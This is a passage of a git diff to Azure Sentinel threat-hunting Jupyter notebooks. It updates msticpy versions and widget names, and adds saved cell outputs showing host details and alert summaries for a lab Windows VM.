DeviceVendor, bin(TimeGenerated,1d)\n", + " | project DeviceVendor, TimeGenerated, SourceIP, DestinationIP, ListOfDestPorts, TotalSentBytesinKB, TotalReceivedBytesinKB \n", + " ),\n", + " (\n", + " VMConnection \n", + " | where TimeGenerated >= datetime({start}) and TimeGenerated <= datetime({end}) \n", + " | where isnotempty(DestinationIp) and isnotempty(SourceIp)\n", + " | where SourceIp == \\'{ip_address}\\'\n", + " | extend DeviceVendor = \"VMConnection\", SourceIP = SourceIp, DestinationIP = DestinationIp\n", + " | extend SentBytesinKB = (BytesSent / 1024), ReceivedBytesinKB = (BytesReceived / 1024)\n", + " | summarize DailyCount = count(), ListOfDestPorts = make_set(DestinationPort), TotalSentBytesinKB = sum(SentBytesinKB),TotalReceivedBytesinKB = sum(ReceivedBytesinKB) by SourceIP, DestinationIP, DeviceVendor, bin(TimeGenerated,1d)\n", + " | project DeviceVendor, TimeGenerated, SourceIP, DestinationIP, ListOfDestPorts, TotalSentBytesinKB, TotalReceivedBytesinKB \n", + " )\n", + " \"\"\".format(**ipaddr_query_params())\n", + "\n", + " dataxfer_stats_df = qry_prov.exec_query(dataxfer_stats)\n", + "\n", + "#Display result as transposed matrix of datatypes availabel to query for the query period\n", + "if len(dataxfer_stats_df) > 0:\n", + " md(\n", + " 'Data transfer daily stats for IP ::', styles=[\"bold\",\"green\"]\n", + " )\n", + " #display(dataxfer_stats_df)\n", + "else:\n", + " md_warn(\n", + " f'No Data transfer logs found for the query period'\n", + " )\n", + " #####\n", + " # WARNING - faking results for illustration purposes\n", + " #####\n", + "md(\n", + " 'Visualizing time series data transfer on dummy dataset for demonstration ::', styles=[\"bold\",\"green\"]\n", + " )\n", + "\n", + "# Generating graph based on dummy dataset in custom table representing Flow records outbound data transfer\n", + "timechartquery = \"\"\"\n", + "let TimeSeriesData = PaloAltoBytesSent_CL\n", + "| extend TimeGenerated = todatetime(EventTime_s), TotalBytesSent = todouble(TotalBytesSent_s) \n", + "| summarize TimeGenerated=make_list(TimeGenerated, 10000),TotalBytesSent=make_list(TotalBytesSent, 10000) by deviceVendor_s\n", + "| project TimeGenerated, TotalBytesSent;\n", + "TimeSeriesData\n", + "| extend (baseline,seasonal,trend,residual) = series_decompose(TotalBytesSent)\n", + "| mv-expand TotalBytesSent to typeof(double), TimeGenerated to typeof(datetime), baseline to typeof(long), seasonal to typeof(long), trend to typeof(long), residual to typeof(long)\n", + "| project TimeGenerated, TotalBytesSent, baseline\n", + "| render timechart with (title=\"Palo Alto Outbound Data Transfer Time Series decomposition\")\n", + "\"\"\"\n", + "%kql -query timechartquery" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Conclusion" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### List of Suspicious Activities/ Observables/Hunting bookmarks\n", + "- Suspicious alerts for the IP\n", + "- Anamalous Failed Logon trend on few days at 04:00 AM\n", + "- Anamalous spike in traffic logs on http\n", + "- Positive TI Hit from Open source feeds.\n", + "- Unusual data transfer deviating from normal baseline." + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "[Contents](#toc)\n", + "## Appendices" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Available DataFrames" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "ExecuteTime": { + "end_time": "2020-04-02T10:00:41.436112Z", + "start_time": "2020-04-02T10:00:41.426605Z" + } + }, + "outputs": [], + "source": [ + "print('List of current DataFrames in Notebook')\n", + "print('-' * 50)\n", + "current_vars = list(locals().keys())\n", + "for var_name in current_vars:\n", + " if isinstance(locals()[var_name], pd.DataFrame) and not var_name.startswith('_'):\n", + " print(var_name)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Saving Data to Excel\n", + "To save the contents of a pandas DataFrame to an Excel spreadsheet\n", + "use the following syntax\n", + "```\n", + "writer = pd.ExcelWriter('myWorksheet.xlsx')\n", + "my_data_frame.to_excel(writer,'Sheet1')\n", + "writer.save()\n", + "```" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Configuration\n", + "\n", + "### `msticpyconfig.yaml` configuration File\n", + "You can configure primary and secondary TI providers and any required parameters in the `msticpyconfig.yaml` file. This is read from the current directory or you can set an environment variable (`MSTICPYCONFIG`) pointing to its location.\n", + "\n", + "To configure this file see the [ConfigureNotebookEnvironment notebook](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb)" + ] + } + ], + "metadata": { + "hide_input": false, + "kernelspec": { + "display_name": "Python (condadev)", + "language": "python", + "name": "condadev" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.6.7-final" + }, + "latex_envs": { + "LaTeX_envs_menu_present": true, + "autoclose": false, + "autocomplete": true, + "bibliofile": "biblio.bib", + "cite_by": "apalike", + "current_citInitial": 1, + "eqLabelWithNumbers": true, + "eqNumInitial": 1, + "hotkeys": { + "equation": "Ctrl-E", + "itemize": "Ctrl-I" + }, + "labels_anchors": false, + "latex_user_defs": false, + "report_style_numbering": false, + "user_envs_cfg": false + }, + "toc": { + "base_numbering": 1, + "nav_menu": {}, + "number_sections": true, + "sideBar": true, + "skip_h1_title": true, + "title_cell": "Table of Contents", + "title_sidebar": "Contents", + "toc_cell": true, + "toc_position": { + "height": "calc(100% - 180px)", + "left": "10px", + "top": "150px", + "width": "299px" + }, + "toc_section_display": true, + "toc_window_display": true + }, + "varInspector": { + "cols": { + "lenName": 16, + "lenType": 16, + "lenVar": 40 + }, + "kernels_config": { + "python": { + "delete_cmd_postfix": "", + "delete_cmd_prefix": "del ", + "library": "var_list.py", + "varRefreshCmd": "print(var_dic_list())" + }, + "r": { + "delete_cmd_postfix": ") ", + "delete_cmd_prefix": "rm(", + "library": "var_list.r", + "varRefreshCmd": "cat(var_dic_list()) " + } + }, + "position": { + "height": "400px", + "left": "1549px", + "right": "20px", + "top": "120px", + "width": "351px" + }, + "types_to_exclude": [ + "module", + "function", + "builtin_function_or_method", + "instance", + "_Feature" + ], + "window_display": false + }, + "widgets": { + "application/vnd.jupyter.widget-state+json": { + "state": {}, + "version_major": 2, + "version_minor": 0 + } + } + }, + "nbformat": 4, + "nbformat_minor": 4 +} \ No newline at end of file diff --git a/Entity Explorer - Linux Host.ipynb b/Entity Explorer - Linux Host.ipynb index c7a5e18c..ae2bf415 100644 --- a/Entity Explorer - Linux Host.ipynb +++ b/Entity Explorer - Linux Host.ipynb @@ -86,7 +86,7 @@ "from IPython.display import display, HTML, Markdown\n", "\n", "REQ_PYTHON_VER=(3, 6)\n", - "REQ_MSTICPY_VER=(0, 5, 0)\n", + "REQ_MSTICPY_VER=(0, 6, 0)\n", "\n", "display(HTML(\"

Starting Notebook setup...

\"))\n", "if Path(\"./utils/nb_check.py\").is_file():\n", @@ -290,7 +290,7 @@ "\n", "if len(items) > 1:\n", " print(f\"Multiple matches for '{host_text.value}'. Please select a host from the list.\")\n", - " choose_host = nbwidgets.SelectString(\n", + " choose_host = nbwidgets.SelectItem(\n", " item_list=items,\n", " description=\"Select the host.\",\n", " auto_display=True,\n", @@ -424,7 +424,7 @@ "if isinstance(related_alerts, pd.DataFrame) and not related_alerts.empty:\n", " related_alerts['CompromisedEntity'] = related_alerts['Computer']\n", " md('### Click on alert to view details.')\n", - " rel_alert_select = nbwidgets.AlertSelector(alerts=related_alerts,\n", + " rel_alert_select = nbwidgets.SelectAlert(alerts=related_alerts,\n", " action=show_full_alert)\n", " rel_alert_select.display()\n", "else:\n", @@ -641,7 +641,7 @@ " logon_sessions_df.set_index('Key', inplace=True)\n", " logon_dict = logon_sessions_df[['User','Start (UTC)', 'End (UTC)']].to_dict('index')\n", "\n", - " logon_selection = nbwidgets.SelectString(description='Select logon session to investigate: ',\n", + " logon_selection = nbwidgets.SelectItem(description='Select logon session to investigate: ',\n", " item_dict=logon_dict , width='80%', auto_display=True)\n", "else:\n", " md(\"No logon sessions during this timeframe\")" @@ -951,7 +951,7 @@ " sudo_sessions.set_index('Key', inplace=True)\n", " sudo_dict = sudo_sessions[['User','Start', 'End']].to_dict('index')\n", "\n", - " sudo_selection = nbwidgets.SelectString(description='Select sudo session to investigate: ',\n", + " sudo_selection = nbwidgets.SelectItem(description='Select sudo session to investigate: ',\n", " item_dict=sudo_dict, width='100%', height='300px', auto_display=True)\n", "else:\n", " sudo_selection = None\n", @@ -1096,7 +1096,7 @@ "\n", "# Pick Users\n", "if not logon_events.empty:\n", - " user_select = nbwidgets.SelectString(description='Select user to investigate: ',\n", + " user_select = nbwidgets.SelectItem(description='Select user to investigate: ',\n", " item_list=all_users, width='75%', auto_display=True)\n", "else:\n", " md(\"There was no user activity in the timeframe specified.\")\n", @@ -1326,7 +1326,7 @@ " installed_apps.extend(x for x in apps if x not in system_apps)\n", "\n", " # Pick Applications\n", - " app_select = nbwidgets.SelectString(description='Select sudo session to investigate: ',\n", + " app_select = nbwidgets.SelectItem(description='Select sudo session to investigate: ',\n", " item_list=installed_apps, width='75%', auto_display=True)\n", "else:\n", " display(HTML(\"No applications other than stand OS applications present\"))" @@ -1829,7 +1829,7 @@ " #Show IPs found in TI feeds for further investigation \n", " if len(ioc_ip_list) > 0: \n", " display(HTML(\"Select an IP whcih appeared in TI to investigate further\"))\n", - " ip_selection = nbwidgets.SelectString(description='Select IP Address to investigate: ', item_list = ioc_ip_list, width='95%', auto_display=True)\n", + " ip_selection = nbwidgets.SelectItem(description='Select IP Address to investigate: ', item_list = ioc_ip_list, width='95%', auto_display=True)\n", " else: \n", " ip_selection = None\n", "else:\n", @@ -1891,7 +1891,7 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.6.7" + "version": "3.6.7-final" }, "latex_envs": { "LaTeX_envs_menu_present": true, @@ -1971,4 +1971,4 @@ }, "nbformat": 4, "nbformat_minor": 4 -} +} \ No newline at end of file diff --git a/Entity Explorer - Windows Host.ipynb b/Entity Explorer - Windows Host.ipynb index 1fa3e251..566ea3a2 100644 --- a/Entity Explorer - Windows Host.ipynb +++ b/Entity Explorer - Windows Host.ipynb @@ -5,7 +5,7 @@ "metadata": {}, "source": [ " # Windows Host Explorer\n", - " <details>\n", + "
\n", "  Details...\n", "\n", " **Notebook Version:** 1.0
\n", @@ -19,7 +19,7 @@ " **Data Sources Required**:\n", " - Log Analytics - SecurityAlert, SecurityEvent (EventIDs 4688 and 4624/25), AzureNetworkAnalytics_CL, Heartbeat\n", " - (Optional) - VirusTotal, AlienVault OTX, IBM XForce, Open Page Rank, (all require accounts and API keys)\n", - " </details>\n", + "
\n", "\n", " Brings together a series of queries and visualizations to help you determine the security state of the Windows host or virtual machine that you are investigating.\n" ] @@ -62,14 +62,84 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 2, "metadata": { "ExecuteTime": { "end_time": "2020-05-15T23:27:18.623464Z", "start_time": "2020-05-15T23:27:15.156160Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "text/html": [ + "Environment setup has completed." + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "Continuing wth notebook setup." + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "Checking msticpy version..." + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "msticpy version 0.5.2 OK" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Processing imports....\n", + "Checking configuration....\n", + "Setting options....\n" + ] + }, + { + "data": { + "text/html": [ + "

Notebook setup complete

" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "from pathlib import Path\n", "import os\n", @@ -78,7 +148,7 @@ "from IPython.display import display, HTML, Markdown\n", "\n", "REQ_PYTHON_VER=(3, 6)\n", - "REQ_MSTICPY_VER=(0, 5, 0)\n", + "REQ_MSTICPY_VER=(0, 6, 0)\n", "\n", "display(HTML(\"

Starting Notebook setup...

\"))\n", "if Path(\"./utils/nb_check.py\").is_file():\n", @@ -110,7 +180,7 @@ "metadata": {}, "source": [ " ## Get WorkspaceId and Authenticate to Azure Sentinel\n", - " <details>\n", + "
\n", " Details...\n", " If you are using user/device authentication, run the following cell.\n", " - Click the 'Copy code to clipboard and authenticate' button.\n", @@ -130,19 +200,32 @@ " Note: you may occasionally see a JavaScript error displayed at the end of the authentication - you can safely ignore this.
\n", " On successful authentication you should see a ```popup schema``` button.\n", " To find your Workspace Id go to [Log Analytics](https://ms.portal.azure.com/#blade/HubsExtension/Resources/resourceType/Microsoft.OperationalInsights%2Fworkspaces). Look at the workspace properties to find the ID.\n", - " </details>" + "
" ] }, { "cell_type": "code", - "execution_count": null, + "execution_count": 3, "metadata": { "ExecuteTime": { "end_time": "2020-05-15T23:27:22.847608Z", "start_time": "2020-05-15T23:27:22.839609Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "text/html": [ + "

Workspace details collected from config file

" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "#See if we have an Azure Sentinel Workspace defined in our config file, if not let the user specify Workspace and Tenant IDs\n", "from msticpy.nbtools.wsconfig import WorkspaceConfig\n", @@ -168,14 +251,219 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 4, "metadata": { "ExecuteTime": { "end_time": "2020-05-15T23:28:39.796803Z", "start_time": "2020-05-15T23:27:27.080209Z" } }, - "outputs": [], + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Please wait. Loading Kqlmagic extension...\n" + ] + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.reconnect();} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "\n", + " \n", + "\n", + " \n", + "\n", + " \n", + "\n", + " \n", + "\n", + " \n", + "\n", + " " + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "\n", + " " + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "\n", + " \n", + "
\n", + " \n", + "\n", + " \n", + " \n", + "
\n", + "\n", + " \n", + "\n", + " " + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "if config is False:\n", " ws_id = ws_id_wgt.value\n", @@ -224,14 +512,29 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 5, "metadata": { "ExecuteTime": { "end_time": "2020-05-15T23:28:41.610484Z", "start_time": "2020-05-15T23:28:41.598485Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "4f19e74d39e94c02be2bff1a2725edeb", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "Text(value='', description='Enter the Host name to search for:', layout=Layout(width='95%'), style=Description…" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "host_text = widgets.Text(\n", " description=\"Enter the Host name to search for:\", **WIDGET_DEFAULTS\n", @@ -241,14 +544,57 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 6, "metadata": { "ExecuteTime": { "end_time": "2020-05-15T23:28:46.198826Z", "start_time": "2020-05-15T23:28:46.144827Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "8e51ca134e6a442293b7195da31c00c8", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "HTML(value='

Set query time boundaries

')" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "f17936aede4b49a6ae33a919355fe537", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "HBox(children=(DatePicker(value=datetime.date(2020, 6, 18), description='Origin Date'), Text(value='23:31:44.1…" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "790d91954c9f43fc9755cc559f672c6b", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "VBox(children=(IntRangeSlider(value=(-5, 1), description='Time Range (day):', layout=Layout(width='80%'), max=…" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "query_times = nbwidgets.QueryTime(units=\"day\", max_before=20, before=5, max_after=1)\n", "query_times.display()" @@ -256,14 +602,46 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 8, "metadata": { "ExecuteTime": { "end_time": "2020-05-15T23:28:58.158859Z", "start_time": "2020-05-15T23:28:55.922817Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Unique host found: MSTICAlertsWin1\n" + ] + } + ], "source": [ "# Get single event - try process creation\n", "if \"SecurityEvent\" not in table_index:\n", @@ -274,7 +652,7 @@ ")\n", "if len(matching_hosts_df) > 1:\n", " print(f\"Multiple matches for '{host_text.value}'. Please select a host from the list.\")\n", - " choose_host = nbwidgets.SelectString(\n", + " choose_host = nbwidgets.SelectItem(\n", " item_list=list(matching_hosts_df[\"Computer\"].values),\n", " description=\"Select the host.\",\n", " auto_display=True,\n", @@ -288,14 +666,142 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 9, "metadata": { "ExecuteTime": { "end_time": "2020-05-15T23:29:12.506439Z", "start_time": "2020-05-15T23:29:01.493356Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "text/html": [ + "\n", + "This product includes GeoLite2 data created by MaxMind, available from\n", + "https://www.maxmind.com.\n" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Latest local Maxmind City Database present is older than 30 days. Attempting to download new database to C:\\Users\\Ian\\.msticpy\\GeoLite2\n", + "Downloading and extracting GeoLite DB archive from MaxMind....\n", + "Extraction complete. Local Maxmind city DB: C:\\Users\\Ian\\.msticpy\\GeoLite2\\GeoLite2-City.mmdb\n", + "Looking for MSTICAlertsWin1 in OMS Heartbeat data...\n" + ] + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Looking for MSTICAlertsWin1 IP addresses in network flows...\n" + ] + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "

Host Details

" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + "{ 'AdditionalData': {},\n", + " 'ComputerEnvironment': 'Azure',\n", + " 'HostName': 'MSTICAlertsWin1',\n", + " 'IPAddress': { 'AdditionalData': {},\n", + " 'Address': '40.76.43.124',\n", + " 'Location': { 'AdditionalData': {},\n", + " 'CountryName': 'United States',\n", + " 'Latitude': 38.71,\n", + " 'Longitude': -78.16,\n", + " 'Type': 'geolocation'},\n", + " 'Type': 'ipaddress'},\n", + " 'NetBiosName': 'MSTICAlertsWin1',\n", + " 'OSMajorVersion': '10',\n", + " 'OSMinorVersion': '0',\n", + " 'OSType': 'Windows',\n", + " 'OmsSolutions': [ '\"security\"',\n", + " '\"changeTracking\"',\n", + " '\"networkMonitoring\"',\n", + " '\"serviceMap\"',\n", + " '\"dnsAnalytics\"',\n", + " '\"securityCenterFree\"',\n", + " '\"securityInsights\"',\n", + " '\"windowsEventForwarding\"'],\n", + " 'ResourceId': '/subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourceGroups/ASIHUNTOMSWORKSPACERG/providers/Microsoft.Compute/virtualMachines/MSTICAlertsWin1',\n", + " 'SourceComputerId': '263a788b-6526-4cdc-8ed9-d79402fe4aa0',\n", + " 'Type': 'host',\n", + " 'VMUUID': '3b8d40a2-33fa-4230-9dc1-794aabdd225c',\n", + " 'private_ips': [IpAddress(Type=ipaddress, Address=10.0.3.5)],\n", + " 'public_ips': [ IpAddress(Type=ipaddress, Address=40.76.43.124, Location={ 'AdditionalData': {},\n", + " 'City':...)]}\n" + ] + } + ], "source": [ "if not host_name:\n", " host_name = choose_host.value\n", @@ -395,14 +901,57 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 10, "metadata": { "ExecuteTime": { "end_time": "2020-05-15T23:29:12.712441Z", "start_time": "2020-05-15T23:29:12.667444Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "19925828670341f5ba2665d941db12ce", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "HTML(value='

Set query time boundaries

')" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "691527ed5d8346908b43b37b4432c760", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "HBox(children=(DatePicker(value=datetime.date(2019, 2, 18), description='Origin Date'), Text(value='23:31:44.1…" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "f9e47367797441798ce39b2f28b3f733", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "VBox(children=(IntRangeSlider(value=(-5, 5), description='Time Range (day):', layout=Layout(width='80%'), max=…" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "ra_query_times = nbwidgets.QueryTime(\n", " units=\"day\",\n", @@ -416,14 +965,393 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 11, "metadata": { "ExecuteTime": { "end_time": "2020-05-15T23:29:15.961693Z", "start_time": "2020-05-15T23:29:14.578094Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/markdown": [ + "### Found 5 different alert types related to this host (`MSTICAlertsWin1`)" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + "- Potential attempt to bypass AppLocker detected, # Alerts: 1\n", + "- Security incident detected, # Alerts: 1\n", + "- Security incident with shared process detected, # Alerts: 1\n", + "- Suspicious Activity Detected, # Alerts: 1\n", + "- Suspicious system process executed, # Alerts: 1\n" + ] + }, + { + "data": { + "text/html": [ + "\n", + "
\n", + " \n", + " Loading BokehJS ...\n", + "
" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "\n", + "(function(root) {\n", + " function now() {\n", + " return new Date();\n", + " }\n", + "\n", + " var force = true;\n", + "\n", + " if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n", + " root._bokeh_onload_callbacks = [];\n", + " root._bokeh_is_loading = undefined;\n", + " }\n", + "\n", + " var JS_MIME_TYPE = 'application/javascript';\n", + " var HTML_MIME_TYPE = 'text/html';\n", + " var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n", + " var CLASS_NAME = 'output_bokeh rendered_html';\n", + "\n", + " /**\n", + " * Render data to the DOM node\n", + " */\n", + " function render(props, node) {\n", + " var script = document.createElement(\"script\");\n", + " node.appendChild(script);\n", + " }\n", + "\n", + " /**\n", + " * Handle when an output is cleared or removed\n", + " */\n", + " function handleClearOutput(event, handle) {\n", + " var cell = handle.cell;\n", + "\n", + " var id = cell.output_area._bokeh_element_id;\n", + " var server_id = cell.output_area._bokeh_server_id;\n", + " // Clean up Bokeh references\n", + " if (id != null && id in Bokeh.index) {\n", + " Bokeh.index[id].model.document.clear();\n", + " delete Bokeh.index[id];\n", + " }\n", + "\n", + " if (server_id !== undefined) {\n", + " // Clean up Bokeh references\n", + " var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n", + " cell.notebook.kernel.execute(cmd, {\n", + " iopub: {\n", + " output: function(msg) {\n", + " var id = msg.content.text.trim();\n", + " if (id in Bokeh.index) {\n", + " Bokeh.index[id].model.document.clear();\n", + " delete Bokeh.index[id];\n", + " }\n", + " }\n", + " }\n", + " });\n", + " // Destroy server and session\n", + " var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n", + " cell.notebook.kernel.execute(cmd);\n", + " }\n", + " }\n", + "\n", + " /**\n", + " * Handle when a new output is added\n", + " */\n", + " function handleAddOutput(event, handle) {\n", + " var output_area = handle.output_area;\n", + " var output = handle.output;\n", + "\n", + " // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n", + " if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n", + " return\n", + " }\n", + "\n", + " var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n", + "\n", + " if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n", + " toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n", + " // store reference to embed id on output_area\n", + " output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n", + " }\n", + " if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n", + " var bk_div = document.createElement(\"div\");\n", + " bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n", + " var script_attrs = bk_div.children[0].attributes;\n", + " for (var i = 0; i < script_attrs.length; i++) {\n", + " toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n", + " }\n", + " // store reference to server id on output_area\n", + " output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n", + " }\n", + " }\n", + "\n", + " function register_renderer(events, OutputArea) {\n", + "\n", + " function append_mime(data, metadata, element) {\n", + " // create a DOM node to render to\n", + " var toinsert = this.create_output_subarea(\n", + " metadata,\n", + " CLASS_NAME,\n", + " EXEC_MIME_TYPE\n", + " );\n", + " this.keyboard_manager.register_events(toinsert);\n", + " // Render to node\n", + " var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n", + " render(props, toinsert[toinsert.length - 1]);\n", + " element.append(toinsert);\n", + " return toinsert\n", + " }\n", + "\n", + " /* Handle when an output is cleared or removed */\n", + " events.on('clear_output.CodeCell', handleClearOutput);\n", + " events.on('delete.Cell', handleClearOutput);\n", + "\n", + " /* Handle when a new output is added */\n", + " events.on('output_added.OutputArea', handleAddOutput);\n", + "\n", + " /**\n", + " * Register the mime type and append_mime function with output_area\n", + " */\n", + " OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n", + " /* Is output safe? */\n", + " safe: true,\n", + " /* Index of renderer in `output_area.display_order` */\n", + " index: 0\n", + " });\n", + " }\n", + "\n", + " // register the mime type if in Jupyter Notebook environment and previously unregistered\n", + " if (root.Jupyter !== undefined) {\n", + " var events = require('base/js/events');\n", + " var OutputArea = require('notebook/js/outputarea').OutputArea;\n", + "\n", + " if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n", + " register_renderer(events, OutputArea);\n", + " }\n", + " }\n", + "\n", + " \n", + " if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n", + " root._bokeh_timeout = Date.now() + 5000;\n", + " root._bokeh_failed_load = 